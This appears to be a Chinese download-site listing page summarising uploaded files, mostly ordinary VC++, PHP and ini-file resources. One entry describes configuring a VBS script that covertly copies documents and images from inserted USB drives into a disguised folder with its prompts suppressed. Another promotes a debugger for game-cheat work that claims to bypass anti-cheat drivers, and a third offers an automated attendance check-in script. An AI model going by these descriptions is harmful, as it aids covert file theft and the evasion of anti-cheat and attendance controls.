第1章C++关键语法及其在VC++中的应用1.1重载1.1.1函数重载1.1.2运算符重载1.1.3函数重载在MFC中的应用举例1.1.4运算符重载在MFC中的应用举例2.2虚拟函数1.2.1静态联编与动态联编1.2.2虚拟函数的定义1.2.3虚拟函数的实现机制1.2.4虚拟函数的应用1.2.5纯虚拟函数1.2.6虚拟函数在MFC中的应用举例1.3静态成员1.3.1静态成员变量1.3.2静态成员函数1.3.3静态成员变量在MFC中的应用举例1.3.4静态成员函数在MFC中的应用举例1.4类模板1.4.1类模板的定义1.4.2使用类模板和模板类1.4.3模板在MFC中的应用举例1.5多重继承和内嵌类1.5.1继承方式与访问权限1.5.2多重继承和虚拟基类1.5.3内嵌类与类合成1.5.4类继承与类合成的应用1.5.5多重继承和内嵌类在COM中的应用第2章MFC类结构与窗口操作2.1MFC类结构2.1.1CObject类2.1.2CCmdTarget类2.1.3CWinThread类2.1.4CWnd类2.2CWnd类与Windows窗口的关系2.2.1使用WIN32API创建窗口2.2.2亲自动手创建窗口封装类2.2.3CWnd类如何封装Windows窗口2.3CWnd的派生类2.3.1CFrameWnd类2.3.2CView类2.3.3CDialog类2.4窗口操作2.4.1检索窗口2.4.2屏幕坐标与客户区坐标2.4.3窗口之间的层次关系2.4.4父窗口与子窗口2.5Windows窗口类2.5.1窗口类的结构2.5.2系统定义的窗口类2.5.3窗口的子类化和超类化第3章消息映射与消息处理3.1MFC的消息映射3.1.1消息映射机制3.1.2消息映射的宏定义3.2非窗口消息3.2.1命令消息3.2.2通知消息3.2.3反射消息3.2.4非窗口消息的传递路由3.2.5非窗口消息的扩展3.3特殊消息和处理函数3.3.1空闲消息处理3.3.2命令状态更新消息3.3.3使用OnCmdMsg0函数分发非窗口消息第4章控件子窗口4.1控件的创建和子类化4.1.1控件的创建4.1.2控件的子类化4.2控件的属主画与自定义画4.2.1属主画消息处理和虚拟函数4.2.2几个控件的属主画特性4.2.3控件的自定义画4.3自定义控件4.3.1自定义控件的窗口类4.3.2自定义控件的通知消息4.3.3自定义控件的绘制4.3.4自定义的分隔条控件第5章界面优化5.1开发使用控制条5.1.1为控制条按需分配客户区5.1.2控制条基类CControlBar5.1.3控制条的停靠与浮动5.1.4实现停靠浮动子窗口5.2工具栏优化5.2.1添加按钮文本5.2.2创建工具栏的子控件5.3菜单优化5.3.1动态创建菜单5.3.2菜单的属主画第6章文档视图框架6.1CWinApp应用类6.1.1应用类全局对象6.1.2注册表和INI文件操作6.1.3命令行参数处理6.2单文档模板框架6.2.1文档、框架、视图的动态创建6.2.2非拆分视图的切换6.3多文档模板框架6.3.1CMDIFrameWnd主框架6.3.2CMDIChildWnd子框架6.3.3CDocument类的文档管理功能6.4编写多框架的应用程序6.4.1创建多框架的必要性6.4.2自动创建的多框架程序6.4.3改进自动创建的多框架程序6.4.4手工创建多框架程序6.5拆分视图6.5.1认识CsplitterWnd窗口拆分类6.5.2应用Cview::OnCreate0消息处理函数实现拆分6.5.3创建非视图的拆分子窗口6.5.4拆分视图的创建删除和隐藏显示第7章屏幕绘图与打印7.1MFC设备环境类7.1.1基类CDC7.1.2CWindowDC与CClientDC7.1.3WM_PAINT窗口消息与CPaintDC类7.1.4使用设备上下文的剪裁区提高刷新效率7.2脱离视图的MFC打印功能7.2.1准备打印设备和打印参数7.2.2单页打印7.2.3分页打印7.2.4调整图文打印尺寸7.3窗口的自动打印7.3.1自动打印的消息处理7.3.2自动打印客户区和非客户区第8章多线程的创建与控制8.1工作者线
2024/6/30 22:51:08 18.07MB VC++ 编程技术 Visual C++
1
VC获取局域网中计算机名和IP地址,并把结果输出到Name_IP.ini文件中!运行程序后,点击确定,等待界面退出后,程序结束!
2024/5/14 5:20:12 3.29MB VC,IP
1
国外最新编辑的ffmpeg-php拓展,适合PHP5.4版本1.下载ffmpeg-php扩展包和ffmpeg.exe(刚开始我以为不需要这个,本地windows测试缺一不可),解压后有以下文件avcodec-51.dllavformat-51.dllavutil-49.dllphp_ffmpeg.dllpthreadGC2.dll2.将四个文件拷贝到windows/system32目录下avcodec-51.dll,avformat-51.dll,avutil-49.dll,pthreadGC2.dll3.将php_ffmpeg.dll拷贝到php的ext目录下。
4.然后需要到apache/bin文件下找到php.ini文件下允许使用dll文件加入extension=php_ffmpeg.dll并确保这三个都是开启状态extension=php_gd2.dll,extension=php_gettext.dllextension=php_gd2.dllextension=php_gettext.dllextension=php_ffmpeg.dll5.重启apache,输出phpinfo();方法查看环境配置,如看到以下信息则说明扩展安装成功。
2024/4/21 1:29:03 5.43MB ffmpeg
1
今天有用到phpnow中php5.2升级5.3的,顺便送上升级方法1,先把PHP5.3下载下来。
2,将下载的解压至phpnow的安装目录,命名不能有中文,建议直接“php5.3”就可以了。
3,将“php-5.2.14-Win32/php-apache2handler.ini”复制到“php5.3中”。
4,修改apache配置文件“Apache-**/conf/httpd.conf”,将其中的“php-5.2.14-Win32”修改为“php5.3”。
5,再修改“php5.3/php-apache2handler.ini”文件,搜索“extension_dir=”,将后边的“php-5.2.14-Win32”修改为“php5.3”。
6,再回到根目录运行“PnCp.cmd”,输入“23”-回车,重启下apache就可以了。
以上目录说明(www.xjnws.com):“php5.3”为第二步的解压目录,而“php-5.2.14-Win32”是原PHP5.2的目录。
2024/4/1 15:43:15 17.94MB php5.3
1
nim-configparser:使用Nim编写的ini文件的configparser
2023/12/28 4:23:06 5KB parser nim ini configparser
1
linux下读写ini文件方法,0分可直接下载
2023/12/22 13:34:55 4KB linu 读写ini文件
1
1、最简单好用的调试器,GoodDbg的全部程序只有2个exe加和1个ini文件,纯绿色软件;
2、可以过所有驱动保护,比如HackShield、nProtect、TenProtect等等,再也不用为过保护发愁;
3、GoodDbg支持所所有的OD插件,使用方式和OD相同,让您快速上手;
4、GoodDbg提供无限个硬件断点,无视一切内存校验;
5、中文版、英文版同步推出,不懂英语照样玩转;
2023/11/30 22:45:05 22.3MB 外挂开发 程序调试
1
用于替换的rdpwrap.ini文件,替换C:\ProgramFiles\RDPWrapper文件夹中的rdpwrap.ini,注意替换之前需要关闭termservice服务,替换完成后再启动该服务,然后重启计算机,一般能解决rdpwrapnotlistening的问题。
该解决方案具有时效性。
2023/11/22 14:34:08 7KB rdpwrap.ini
1
因为公司在年会的时候要抽奖,在网上下载的抽奖软件多少不符合要求,于是自己写了一个,写的比较粗糙,希望能对一些刚开始学习的人有点帮助吧。
软件使用VC2010开发完成,如果您有完善,请发送到我信箱一份3598392@qq.com。
-----★软件说明★-----1、背景音乐是软件目录下的bk.mp3,可以替换或者删除。
2、背景图片是软件目录下的bk.bmp(注:24位),可以替换或者删除。
3、软件目录下的Config.ini文件定义了标题的相关信息,其中R、G、B为字体对应的颜色,3D表示是否为3D字体,Text为标题内容。
Text内容可以为空。
Text内容可以为空。
InitialNum表示默认抽奖人数。
4、软件目录下的Names.txt中是所有要抽奖人员的名单,一个名字一行。
5、按空格键抽选或者继续随机,抽取后的人在软件重新启动后不会再次被抽到,可以按Ctrl+0重置数据。
重置之前的数据备份在Names.bk.txt中。
6、最多支持随机抽取8个人。
在非随机状态下,按Ctrl+1-8可以定义同时抽取的人的个数,这个个数在软件的左下角显示。
也可以在非随机状态下用鼠标点击这个数字。
7、按Alt+F4关闭程序。
2023/10/8 4:08:32 10.91MB 抽奖软件 VC C++ 2010
1
一、右键单击,选择编辑oStr="txt|jpg|doc"'你要窃取的文件类型,可以自行添加,用“|”隔开oDistPath="C:\\windows\\system\\"'保存路径oFolderName="Task"'保存文件夹名称oType=0'将保存的文件夹进行伪装1为task文件夹,2为recycler文件夹,0为不伪装oOut=1'1复制完毕后退出,0复制完毕后不退出,继续循环二、保存后运行会出现安装成功对话框,如果不希望出现该对话框,可以将“Msgbox"安装成功"”注释掉。
此时脚本已经在循环监测U盘的插入三、插入U盘U盘插入后,就开始文件的复制。
复制完成后会出现提示对话框。
如果不希望出现该对话框,可以将“Msgbox"Windows错误",64”注释掉四、寻找文件此时,文件已经在目标文件夹中。
我将oType设置为1,所以该文件夹成了task文件夹,此时双击打开是看不到其中的文件的。
这种情况可以通过rar压缩包浏览,将其中的desktop.ini文件删除,文件夹就会变成普通文件夹。
ww这时就能打开文件夹看到其中的内容。
Copy.log记录的是原文件及复制后的文件。
vbs代码以下是源代码:……
2023/9/25 1:13:45 2KB 自动 复制 U盘 VBS
1
共 45 条记录 首页 上一页 下一页 尾页
在日常工作中,钉钉打卡成了我生活中不可或缺的一部分。然而,有时候这个看似简单的任务却给我带来了不少烦恼。 每天早晚,我总是得牢记打开钉钉应用,点击"工作台",再找到"考勤打卡"进行签到。有时候因为工作忙碌,会忘记打卡,导致考勤异常,影响当月的工作评价。而且,由于我使用的是苹果手机,有时候系统更新后,钉钉的某些功能会出现异常,使得打卡变得更加麻烦。 另外,我的家人使用的是安卓手机,他们也经常抱怨钉钉打卡的繁琐。尤其是对于那些不太熟悉手机操作的长辈来说,每次打卡都是一次挑战。他们总是担心自己会操作失误,导致打卡失败。 为了解决这些烦恼,我开始思考是否可以通过编写一个全自动化脚本来实现钉钉打卡。经过一段时间的摸索和学习,我终于成功编写出了一个适用于苹果和安卓系统的钉钉打卡脚本。
2024-04-09 15:03 15KB 钉钉 钉钉打卡